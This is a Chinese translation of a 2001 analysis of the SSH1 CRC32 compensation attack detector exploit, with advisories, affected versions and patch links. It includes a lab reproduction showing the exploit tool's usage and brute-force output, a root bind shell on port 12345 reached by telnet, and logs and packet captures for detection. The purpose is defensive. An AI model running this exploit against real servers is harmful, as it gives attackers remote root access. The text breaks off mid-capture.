搜索文章:

首页  |  Java技术  |  Asp.net  |  Asp编程  |  VC/C++  |  Delphi  |  VB编程

对于SSH crc32 compensation attack detector exploit 的分析

由于ssh crc32 compensation attack detector exploit代码的流传开来,对于
ssh的扫描也越来越多,这是一份统计报表:

+------------+------------+----------+----------+-----------+
| date | #probes| #sources | #targets | #scanners |
+------------+------------+----------+----------+-----------+
| 2001-10-03 | 1466 |45|987 | |
| 2001-10-04 |319 |25|212 | |
| 2001-10-05 |825 |22|783 | |
| 2001-10-06 |86552 |27|86305 | |
| 2001-10-07 | 7564 |29| 7429 | |
| 2001-10-08 | 2506 |29| 2449 | |
| 2001-10-09 | 1010 |18|263 | |
| 2001-10-10 |480 |39|307 | |
| 2001-10-11 |978 |31|504 | |
| 2001-10-12 |436 |21|311 | |
| 2001-10-13 | 6731 |27| 6353 | |
| 2001-10-14 | 1411 |29| 1084 | |
| 2001-10-15 |936 |34|723 | |
| 2001-10-16 | 1358 |40| 1256 | |
| 2001-10-17 | 1098 |36|899 | |
| 2001-10-18 | 1779 |31| 1438 | |
| 2001-10-19 |19722 |28|19573 | 7 |
| 2001-10-20 |25539 |21|25419 | 3 |
| 2001-10-21 | 6796 |26| 6750 | 9 |
| 2001-10-22 |807 |30|482 | 5 |
| 2001-10-23 |578 |49|327 | 6 |
| 2001-10-24 | 2198 |39| 2025 | 9 |
| 2001-10-25 | 2368 |31| 1759 | 6 |
| 2001-10-26 |712 |37|591 | 7 |
| 2001-10-27 |463 |30|297 | 8 |
| 2001-10-28 |495 |30|263 | 5 |
| 2001-10-29 |478 |37|399 | 5 |
| 2001-10-30 | 1154 |48| 1051 | 5 |
| 2001-10-31 | 1998 |46| 1047 | 5 |
| 2001-11-01 |66660 |46|66386 | 5 |
| 2001-11-02 | 1514 |40|926 | 5 |
| 2001-11-03 | 2142 |36| 2047 | 8 |
| 2001-11-04 | 1233 |26|781 | 9 |
+------------+------------+----------+----------+-----------+

鉴于此情况,编译整理david a. dittrich <dittrich@cac.washington.edu> 文章(http://staff.washington.edu/dittrich/misc/ssh-analysis.txt)供大家参考和修补。

-------------------------------------------------------------------------------

概述
==================

此漏洞最开始由core-sdi组织在securityfocus.com上的bugtraq上发布了他们安全
公告core-20010207,日期为2001,2月8号:

http://www.securityfocus.com/advisories/3088

漏洞的简单描述就是:ssh1守护程序中所带的一段代码中存在一个整数溢出问题。问题出在
deattack.c,此程序由core sdi开发,用来防止ssh1协议受到crc32补偿攻击。

由于在detect_attack()函数中错误的将一个16位的无符号变量当成了32位变量来使用,导致表索引溢出问题。

这将允许一个攻击者覆盖内存中的任意位置的内容,攻击者可能远程获取root权限。

其他组织也陆续公布了一些对这个ssh 漏洞的分析和建议如:

  http://xforce.iss.net/alerts/advise100.php
  http://razor.bindview.com/publish/advisories/adv_ssh1crc.html
  http://www.securityfocus.com/bugid=2347

而在2001年10月21号jay dyson在incidents@securityfocus.com邮件列表上声明
有不少信息显示有人在扫描ripe 网络段的ssh服务器:

  http://www.securityfocus.com/cgi-bin/archive.pl?id=75&start=2001-10-27&end=2001-11-02&mid=221998&threads=1

然后更甚的是在vuln-dev@securityfocus.com邮件列表中提示newsbytes.com中
有新闻描述有人愿付$1000美金的人提供此攻击工具。还有没有确认的传闻针对
solaris 8/sparc ssh.com 1.2.26-31 系统的攻击代码也存在。著名的安全站点
securitynewsportal.com就被这个漏洞攻击,下面地址是被黑截图:

  http://defaced.alldas.de/mirror/2001/10/24/www.securitynewsportal.com/

最近teso发布了关于这些攻击代码的信息,你可以在下面的地址查看:

  http://www.team-teso.org/sshd_statement.php


下面是受影响的ssh版本:

ssh communications security ssh 2.x and 3.x (if ssh version 1 fallback is enabled)
ssh communications security ssh 1.2.23-1.2.31
f-secure ssh versions prior to 1.3.11-2
openssh versions prior to 2.3.0 (if ssh version 1 fallback is enabled)
ossh 1.5.7

不过供应商已经为系统提供补丁信息,大家可以参考如下地址:

  http://www.ssh.com/products/ssh/advisories/ssh1_crc-32.cfm
  http://openssh.org/security.html
  http://www.cisco.com/warp/public/707/ssh-multiple-pub.html


---------------------------------------------------------------------------

攻击行为的分析
=====================

2001年10月6日,攻击者从netherlands网络段使用crc32 compensation attack
detector漏洞攻击程序入侵了一台uw网络中使用了openssh 2.1.1的redhat linux
系统,漏洞描述如cert vu#945216所述:

  http://www.kb.cert.org/vuls/id/945216

系统中一系列操作系统命令被替换成木马程序以提供以后再次进入并清除了所有
日志系统。第二台ssh服务器运行在39999/tcp高端口,系统入侵后被用来扫描其他
uw以外的网络以获得更多的运行openssh 2.1.1的系统。

通过一些恢复操作对这个漏洞程序进行了分析:

这个攻击代码基于openssh 2.2.0版本(这个是2.1.1之后的版本,对crc32
compensation attack detection function进行了修补),不过针对openssh
2.1.1进行攻击,其攻击代码也可以使用在ssh.com 1.2.31版本(针对其他ssh
协议1 和版本的测试尚无完成)。

攻击代码对针对如下系统:

  linux/x86 ssh.com 1.2.26-1.2.31 rhl
  linux/x86 openssh 1.2.3 (maybe others)
  linux/x86 openssh 2.2.0p1 (maybe others)
  freebsd 4.x, ssh.com 1.2.26-1.2.31 rhl

虽然这个攻击代码可以对多个平台系统进行攻击,这里攻击者只扫描22/tcp端口,
然后连接这些系统获得响应的版本程序并只对"openssh_2.1.1"继续进一步操作。
这些扫描使用快速syn扫描,使用来自t0rn root kit中的工具。

对破坏的系统进行分析发现已经有47067个地址被扫描,而在这些地址中,有1244
个主机被鉴别存在此漏洞,攻击者成功的在8月8日系统离线之前利用此漏洞进入
4个主机。

这个攻击者代码对使用访问控制限制(如, ssh.com的"allowhosts" 或者 "denyhosts"
设置) 或者包过滤(如, ipchains, iptables, ipf) 的系统不能正常工作,因为这些
会要求交换public keys。

-------------------------------------------------------------------------

对攻击者代码实时的分析
============================

此攻击代码在隔离的网络段进行测试,使用了网络地址为10.10.10.0/24,攻击
主机使用了10.10.10.10 而有漏洞的服务主机为 10.10.10.3。

有漏洞的服务主机系统运行了在red hat linux6.0(kernel 2.2.16-3 on an i586)
的ssh.com的 1.2.31 版本。

而攻击主机运行了fred cohens plac[1] (从cd-rom引导的linux 2.4.5 系统),
文件使用"nc"(netcat)[2]拷贝到系统中.

攻击一方再现
=========================

当以没有任何参数运行攻击代码的时候会显示使用信息:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
root@plac /bin >> ./ssh



linux/x86 sshd1 exploit by zip/teso (zip@james.kalifornia.com) - ripped from
openssh 2.2.0 src


greets: mray, random, big t, sh1fty, scut, dvorak
ps. this sploit already owned cia.gov :/


**please pick a type**


usage: ./ssh host [options]
options:
  -p port
  -b base base address to start bruteforcing distance, by default 0x1800,
goes as high as 0x10000
  -t type
  -d debug mode
  -o add this to delta_min


types:


0: linux/x86 ssh.com 1.2.26-1.2.31 rhl
1: linux/x86 openssh 1.2.3 (maybe others)
2: linux/x86 openssh 2.2.0p1 (maybe others)
3: freebsd 4.x, ssh.com 1.2.26-1.2.31 rhl
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

被测试系统在系统端口2222上运行着ssh.com version 1.2.31 (未修补)程序,并
把syslog日志重定向独立的文件sshdx.log.

这里选择了类型type 0和2222 攻击端口:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
root@plac /bin >> ./ssh 10.10.10.3 -p 2222 -t 0



linux/x86 sshd1 exploit by zip/teso (zip@james.kalifornia.com) - ripped from
openssh 2.2.0 src


greets: mray, random, big t, sh1fty, scut, dvorak
ps. this sploit already owned cia.gov :/


...........................
bruteforced distance: 0x3200
bruteforcing distance from h->partial packet buffer on stack
..............^[[a................|////////\\\\!
bruteforced h->ident buff distance: 5bfbed88


trying retloc_delta: 35
....!
found high words of possible return address: 808
trying to exploit
....
trying retloc_delta: 37
.!
found high words of possible return address: 805
trying to exploit
....
trying retloc_delta: 39
......
trying retloc_delta: 3b
......
trying retloc_delta: 3d
!
found high words of possible return address: 804
trying to exploit
....
trying retloc_delta: 3f
......
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

这里看来,攻击攻击相似被"停止"了,返回被攻击系统查看却发现被开了后门。

被测试系统一方再现
=======================

在利用漏洞之前,被测试系统显示标准ssh守护程序运行在22/tcp端口,要被
测试的应用程序运行在2222/tcp端口,两个都在监听状态,而且标准ssh守护
程序有一个外部连接(10.10.10.2:33354),通过netstat查看如下:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
active internet connections (servers and established)
proto recv-q send-q local address foreign address state
tcp 0 0 10.10.10.3:2222 0.0.0.0:* listen
tcp 0 0 10.10.10.3:22 10.10.10.2:33354 established
tcp 0 0 0.0.0.0:22 0.0.0.0:* listen
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

而在攻击程序"停止"以后,再用netstat查看网络监听状态如下:




=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
active internet connections (servers and established)
proto recv-q send-q local address foreign address state
tcp 0 0 0.0.0.0:12345 0.0.0.0:* listen
tcp 0 0 10.10.10.3:2222 10.10.10.10:32965 established
tcp 0 0 10.10.10.3:2222 0.0.0.0:* listen
tcp 0 0 10.10.10.3:22 10.10.10.2:33354 established
tcp 0 0 0.0.0.0:22 0.0.0.0:* listen
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

发现有新的服务在12345/tcp端口监听。

返回攻击者主机,使用netstat查看网络状态,发现程序使用了暴力猜测地址
方式攻击:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
active internet connections (servers and established)
proto recv-q send-q local address foreign address state
tcp 0 0 0.0.0.0:12345 0.0.0.0:* listen
tcp 1252 0 10.10.10.3:2222 10.10.10.10:33076 established
tcp 0 0 10.10.10.3:2222 10.10.10.10:33075 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33074 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33072 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33071 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33069 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33067 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33066 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33064 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33063 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33062 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33061 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33060 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33059 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33058 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33056 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33055 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33053 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33051 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33050 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33048 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33047 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33046 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33042 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33041 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33040 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33039 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33038 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33036 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33035 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33034 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33033 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33032 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33030 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33029 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33028 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33027 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33024 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33023 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33022 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33021 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33020 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33016 time_wait
tcp 0 0 10.10.10.3:2222 10.10.10.10:33014 time_wait
tcp 0 0 10.10.10.3:2222 0.0.0.0:* listen
tcp 0 0 10.10.10.3:22 10.10.10.2:33354 established
tcp 0 0 0.0.0.0:22 0.0.0.0:* listen
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

而使用list open files ("lsof")[4]工具显示被测试的ssh守护程序开启了一个
新的监听端口:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# lsof -p 9364
command pid user fd type device size node name
sshd 9364 root cwd dir 3,3 1024 2 /
sshd 9364 root rtd dir 3,3 1024 2 /
sshd 9364 root txt reg 3,3 655038 442413 /usr/local/src/ssh-1.2.31/sbin/sshd1
sshd 9364 root mem reg 3,3 340771 30722 /lib/ld-2.1.3.so
sshd 9364 root mem reg 3,3 370141 31107 /lib/libnsl-2.1.3.so
sshd 9364 root mem reg 3,3 66231 31103 /lib/libcrypt-2.1.3.so
sshd 9364 root mem reg 3,3 47008 31113 /lib/libutil-2.1.3.so
sshd 9364 root mem reg 3,3 4101836 31102 /lib/libc-2.1.3.so
sshd 9364 root mem reg 3,3 246652 31109 /lib/libnss_files-2.1.3.so
sshd 9364 root mem reg 3,3 252234 31111 /lib/libnss_nisplus-2.1.3.so
sshd 9364 root mem reg 3,3 255963 31110 /lib/libnss_nis-2.1.3.so
sshd 9364 root mem reg 3,3 67580 31108 /lib/libnss_dns-2.1.3.so
sshd 9364 root mem reg 3,3 169720 31112 /lib/libresolv-2.1.3.so
sshd 9364 root 0u chr 1,3 4110 /dev/null
sshd 9364 root 1u chr 1,3 4110 /dev/null
sshd 9364 root 2u chr 1,3 4110 /dev/null
sshd 9364 root 3u inet 10202 tcp *:12345 (listen)
sshd 9364 root 4u inet 10197 tcp 10.10.10.3:2222->10.10.10.10:33190 (close_wait)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

很明显,攻击程序成功利用此漏洞获得root shell,并绑定了一个高端tcp端口。
这样攻击者可以使用任何"telnet"或者"rc"工具连接到此端口并以超级用户的
方式执行任意命令,如下所示:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
root@plac ~ >> telnet 10.10.10.3 12345
trying 10.10.10.3...
connected to 10.10.10.3.
escape character is ^].
id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
date;
thu nov 1 18:04:42 pst 2001
netstat -an --inet;
active internet connections (servers and established)
proto recv-q send-q local address foreign address state
tcp 0 0 10.10.10.3:12345 10.10.10.10:33077 established
tcp 0 0 0.0.0.0:12345 0.0.0.0:* listen
tcp 1252 0 10.10.10.3:2222 10.10.10.10:33076 established
tcp 0 0 10.10.10.3:2222 0.0.0.0:* listen
tcp 0 0 0.0.0.0:22 0.0.0.0:* listen
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
exit;
connection closed by foreign host.
root@plac ~ >>
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[注意]:使用telnet要加";"号,而nc连接不需要。

等攻击者退出以后,被测试系统网络状态返回正常:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[root@victim /root]# netstat -an --inet
active internet connections (servers and established)
proto recv-q send-q local address foreign address state
tcp 0 0 10.10.10.3:2222 0.0.0.0:* listen
tcp 0 0 10.10.10.3:22 10.10.10.2:33354 established
tcp 0 0 0.0.0.0:22 0.0.0.0:* listen
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

如果syslog日志功能开启了,连接和暴力测试的信息全部会记录下来(注意,这个是
对ssh.com 1.2.31在red hat linux 6.0上的测试 -- 日志标志会和记录openssh
不一样):

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
nov 1 18:46:14 victim sshd[9510]: log: connection from 10.10.10.10 port 33298
nov 1 18:46:19 victim sshd[9511]: log: connection from 10.10.10.10 port 33299
nov 1 18:46:22 victim sshd[9512]: log: connection from 10.10.10.10 port 33300
nov 1 18:46:26 victim sshd[9513]: log: connection from 10.10.10.10 port 33301
nov 1 18:46:31 victim sshd[9515]: log: connection from 10.10.10.10 port 33302
nov 1 18:46:35 victim sshd[9516]: log: connection from 10.10.10.10 port 33303
nov 1 18:46:39 victim sshd[9517]: log: connection from 10.10.10.10 port 33304
nov 1 18:46:43 victim sshd[9518]: log: connection from 10.10.10.10 port 33305
nov 1 18:46:47 victim sshd[9518]: fatal: local: corrupted check bytes on input.
nov 1 18:46:47 victim sshd[9519]: log: connection from 10.10.10.10 port 33306
nov 1 18:46:52 victim sshd[9519]: fatal: connection closed by remote host.
nov 1 18:46:53 victim sshd[9520]: log: connection from 10.10.10.10 port 33307
nov 1 18:46:57 victim sshd[9521]: log: connection from 10.10.10.10 port 33308
nov 1 18:47:01 victim sshd[9522]: log: connection from 10.10.10.10 port 33309
nov 1 18:47:06 victim sshd[9523]: log: connection from 10.10.10.10 port 33310
nov 1 18:47:10 victim sshd[9524]: log: connection from 10.10.10.10 port 33311
nov 1 18:47:14 victim sshd[9525]: log: connection from 10.10.10.10 port 33312
nov 1 18:47:19 victim sshd[9526]: log: connection from 10.10.10.10 port 33313
nov 1 18:47:24 victim sshd[9527]: log: connection from 10.10.10.10 port 33314
nov 1 18:47:24 victim sshd[9527]: fatal: connection closed by remote host.
nov 1 18:47:46 victim sshd[9528]: log: connection from 10.10.10.10 port 33315
nov 1 18:47:46 victim sshd[9529]: log: connection from 10.10.10.10 port 33316
nov 1 18:47:47 victim sshd[9530]: log: connection from 10.10.10.10 port 33317
nov 1 18:47:47 victim sshd[9531]: log: connection from 10.10.10.10 port 33318
nov 1 18:47:47 victim sshd[9532]: log: connection from 10.10.10.10 port 33319
nov 1 18:47:48 victim sshd[9533]: log: connection from 10.10.10.10 port 33320
nov 1 18:47:48 victim sshd[9534]: log: connection from 10.10.10.10 port 33321
nov 1 18:47:48 victim sshd[9535]: log: connection from 10.10.10.10 port 33322
nov 1 18:47:49 victim sshd[9536]: log: connection from 10.10.10.10 port 33323
nov 1 18:47:49 victim sshd[9537]: log: connection from 10.10.10.10 port 33324
nov 1 18:47:50 victim sshd[9538]: log: connection from 10.10.10.10 port 33325
nov 1 18:47:50 victim sshd[9539]: log: connection from 10.10.10.10 port 33326
nov 1 18:47:50 victim sshd[9540]: log: connection from 10.10.10.10 port 33327
nov 1 18:47:51 victim sshd[9541]: log: connection from 10.10.10.10 port 33328
nov 1 18:47:51 victim sshd[9542]: log: connection from 10.10.10.10 port 33329
nov 1 18:47:51 victim sshd[9543]: log: connection from 10.10.10.10 port 33330
nov 1 18:47:52 victim sshd[9544]: log: connection from 10.10.10.10 port 33331
nov 1 18:47:52 victim sshd[9545]: log: connection from 10.10.10.10 port 33332
nov 1 18:47:52 victim sshd[9546]: log: connection from 10.10.10.10 port 33333
nov 1 18:47:53 victim sshd[9547]: log: connection from 10.10.10.10 port 33334
nov 1 18:47:53 victim sshd[9548]: log: connection from 10.10.10.10 port 33335
nov 1 18:47:54 victim sshd[9549]: log: connection from 10.10.10.10 port 33336
nov 1 18:47:54 victim sshd[9550]: log: connection from 10.10.10.10 port 33337
nov 1 18:47:54 victim sshd[9551]: log: connection from 10.10.10.10 port 33338
nov 1 18:47:55 victim sshd[9552]: log: connection from 10.10.10.10 port 33339
nov 1 18:47:55 victim sshd[9553]: log: connection from 10.10.10.10 port 33340
nov 1 18:47:55 victim sshd[9554]: log: connection from 10.10.10.10 port 33341
nov 1 18:47:56 victim sshd[9555]: log: connection from 10.10.10.10 port 33342
nov 1 18:47:56 victim sshd[9556]: log: connection from 10.10.10.10 port 33343
nov 1 18:47:56 victim sshd[9555]: fatal: local: corrupted check bytes on input.
nov 1 18:47:57 victim sshd[9557]: log: connection from 10.10.10.10 port 33344
nov 1 18:47:57 victim sshd[9558]: log: connection from 10.10.10.10 port 33345
nov 1 18:47:57 victim sshd[9559]: log: connection from 10.10.10.10 port 33346
nov 1 18:47:58 victim sshd[9560]: log: connection from 10.10.10.10 port 33347
nov 1 18:47:58 victim sshd[9561]: log: connection from 10.10.10.10 port 33348
nov 1 18:47:59 victim sshd[9562]: log: connection from 10.10.10.10 port 33349
nov 1 18:47:59 victim sshd[9563]: log: connection from 10.10.10.10 port 33350
nov 1 18:47:59 victim sshd[9564]: log: connection from 10.10.10.10 port 33351
nov 1 18:48:00 victim sshd[9565]: log: connection from 10.10.10.10 port 33352
nov 1 18:48:00 victim sshd[9566]: log: connection from 10.10.10.10 port 33353
nov 1 18:48:00 victim sshd[9567]: log: connection from 10.10.10.10 port 33354
nov 1 18:48:01 victim sshd[9568]: log: connection from 10.10.10.10 port 33355
nov 1 18:48:01 victim sshd[9569]: log: connection from 10.10.10.10 port 33356
nov 1 18:48:02 victim sshd[9570]: log: connection from 10.10.10.10 port 33357
nov 1 18:48:02 victim sshd[9571]: log: connection from 10.10.10.10 port 33358
nov 1 18:48:02 victim sshd[9572]: log: connection from 10.10.10.10 port 33359
nov 1 18:48:03 victim sshd[9573]: log: connection from 10.10.10.10 port 33360
nov 1 18:48:03 victim sshd[9574]: log: connection from 10.10.10.10 port 33361
nov 1 18:48:03 victim sshd[9575]: log: connection from 10.10.10.10 port 33362
nov 1 18:48:04 victim sshd[9576]: log: connection from 10.10.10.10 port 33363
nov 1 18:48:04 victim sshd[9577]: log: connection from 10.10.10.10 port 33364
nov 1 18:48:04 victim sshd[9578]: log: connection from 10.10.10.10 port 33365
nov 1 18:48:05 victim sshd[9579]: log: connection from 10.10.10.10 port 33366
nov 1 18:48:05 victim sshd[9580]: log: connection from 10.10.10.10 port 33367
nov 1 18:48:06 victim sshd[9581]: log: connection from 10.10.10.10 port 33368
nov 1 18:48:06 victim sshd[9582]: log: connection from 10.10.10.10 port 33369
nov 1 18:48:06 victim sshd[9583]: log: connection from 10.10.10.10 port 33370
nov 1 18:48:07 victim sshd[9584]: log: connection from 10.10.10.10 port 33371
nov 1 18:48:07 victim sshd[9585]: log: connection from 10.10.10.10 port 33372
nov 1 18:48:07 victim sshd[9586]: log: connection from 10.10.10.10 port 33373
nov 1 18:48:08 victim sshd[9587]: log: connection from 10.10.10.10 port 33374
nov 1 18:48:08 victim sshd[9586]: fatal: local: crc32 compensation attack: network attack detected
nov 1 18:48:08 victim sshd[9588]: log: connection from 10.10.10.10 port 33375
nov 1 18:48:08 victim sshd[9587]: fatal: local: crc32 compensation attack: network attack detected
nov 1 18:48:08 victim sshd[9589]: log: connection from 10.10.10.10 port 33376
nov 1 18:48:08 victim sshd[9588]: fatal: local: crc32 compensation attack: network attack detected
nov 1 18:48:09 victim sshd[9590]: log: connection from 10.10.10.10 port 33377
nov 1 18:48:09 victim sshd[9589]: fatal: local: crc32 compensation attack: network attack detected
nov 1 18:48:09 victim sshd[9591]: log: connection from 10.10.10.10 port 33378
nov 1 18:48:09 victim sshd[9590]: fatal: local: crc32 compensation attack: network attack detected
nov 1 18:48:09 victim sshd[9592]: log: connection from 10.10.10.10 port 33379
nov 1 18:48:09 victim sshd[9591]: fatal: local: crc32 compensation attack: network attack detected
nov 1 18:48:10 victim sshd[9592]: fatal: local: crc32 compensation attack: network attack detected
nov 1 18:48:10 victim sshd[9593]: log: connection from 10.10.10.10 port 33380
nov 1 18:48:10 victim sshd[9594]: log: connection from 10.10.10.10 port 33381
nov 1 18:48:10 victim sshd[9593]: fatal: local: crc32 compensation attack: network attack detected
nov 1 18:48:11 victim sshd[9595]: log: connection from 10.10.10.10 port 33382
nov 1 18:48:11 victim sshd[9594]: fatal: local: crc32 compensation attack: network attack detected
nov 1 18:48:11 victim sshd[9596]: log: connection from 10.10.10.10 port 33383
nov 1 18:48:11 victim sshd[9597]: log: connection from 10.10.10.10 port 33384
nov 1 18:48:11 victim sshd[9596]: fatal: local: crc32 compensation attack: network attack detected
nov 1 18:48:12 victim sshd[9598]: log: connection from 10.10.10.10 port 33385
nov 1 18:48:12 victim sshd[9597]: fatal: local: crc32 compensation attack: network attack detected
nov 1 18:48:12 victim sshd[9599]: log: connection from 10.10.10.10 port 33386
nov 1 18:48:12 victim sshd[9598]: fatal: local: crc32 compensation attack: network attack detected
nov 1 18:48:12 victim sshd[9600]: log: connection from 10.10.10.10 port 33387
nov 1 18:48:12 victim sshd[9599]: fatal: local: crc32 compensation attack: network attack detected
nov 1 18:48:13 victim sshd[9601]: log: connection from 10.10.10.10 port 33388
nov 1 18:48:13 victim sshd[9602]: log: connection from 10.10.10.10 port 33389
nov 1 18:48:13 victim sshd[9603]: log: connection from 10.10.10.10 port 33390
nov 1 18:48:14 victim sshd[9604]: log: connection from 10.10.10.10 port 33391
nov 1 18:48:14 victim sshd[9605]: log: connection from 10.10.10.10 port 33392
nov 1 18:48:15 victim sshd[9606]: log: connection from 10.10.10.10 port 33393
nov 1 18:48:15 victim sshd[9605]: fatal: local: corrupted check bytes on input.
nov 1 18:48:15 victim sshd[9607]: log: connection from 10.10.10.10 port 33394
nov 1 18:48:16 victim sshd[9608]: log: connection from 10.10.10.10 port 33395
nov 1 18:48:16 victim sshd[9609]: log: connection from 10.10.10.10 port 33396
nov 1 18:48:16 victim sshd[9610]: log: connection from 10.10.10.10 port 33397
nov 1 18:48:17 victim sshd[9611]: log: connection from 10.10.10.10 port 33398
nov 1 18:48:17 victim sshd[9611]: fatal: local: corrupted check bytes on input.
nov 1 18:48:17 victim sshd[9612]: log: connection from 10.10.10.10 port 33399
nov 1 18:48:18 victim sshd[9613]: log: connection from 10.10.10.10 port 33400
nov 1 18:48:18 victim sshd[9614]: log: connection from 10.10.10.10 port 33401
nov 1 18:58:18 victim sshd[9614]: fatal: timeout before authentication.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

注意日志条目的最后一条,如果成功利用此漏洞被入侵,认证过程就会停止,因为
此时shellcode的后门程序已经执行,这样你可以连接端口进行任何操作。唯一的
问题是,ssh守护程序(至少ssh.com 1.2.31)会由于认证过程不完整而超时,导致
关闭开启的shell。一般在监听shell的父进程关闭只前会有10分钟时间空域。

网络通信信息分析
=====================

在这里使用了tcpdump来截获上面的攻击行为,记录信息在sshdx.dump,可以被用
来ids入侵检测系统获得攻击标志信息。如果你的ids系统不支持tcpdump文件,你
可以使用"tcpreplay"[12]来转换tcpdump信息。

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# tcpdump -s1500 -w sshdx.dump ip host 10.10.10.3 &
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

这样可以很容易的查看ssh守护程序产生的多个连接信息,使用"ngrep"[5]工具可以
辨认出最后连接和插入shellcode的暴力破解攻击信息:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
. . .


t 10.10.10.3:2222 -> 10.10.10.10:32957 [ap]
  ssh-1.5-1.2.31.


t 10.10.10.10:32957 -> 10.10.10.3:2222 [ap]
  ssh-1.5-openssh_2.2.0p1.


t 10.10.10.3:2222 -> 10.10.10.10:32957 [ap]
